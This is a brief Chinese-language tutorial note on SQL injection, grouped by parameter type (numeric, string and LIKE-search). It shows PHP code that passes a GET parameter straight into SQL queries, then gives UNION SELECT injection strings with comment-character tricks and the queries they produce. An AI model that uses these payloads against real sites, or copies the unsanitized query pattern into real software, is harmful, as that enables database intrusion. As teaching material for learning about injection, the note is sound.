SQL注入筆記02：基於不同引數型別的注入
阿新 • • 發佈：2018-12-09
數字型 $id=$_GET['x'] Select * from news where id=$id 如：?x=1->Select * from news where id=1 注入更改：無
字元型 $id=$_GET['x'] Select * from news where id='$id' 如：?x=admin->Select * from news where id='admin' 注入：?x=admin' union select 1,2,3# ->Select * from news where id='admin' union select 1,2,3#' //#遮蔽後面的字元
搜尋型 $id=$_GET['x'] Select * from news where id like '%sss%' //%是資料庫中的萬用字元 如：?x=123->Select * from news where id like '%123%' 注入：?x=123%' union select 1,2,3# ->Select * from news where id like '%123%' union select 1,2,3#%'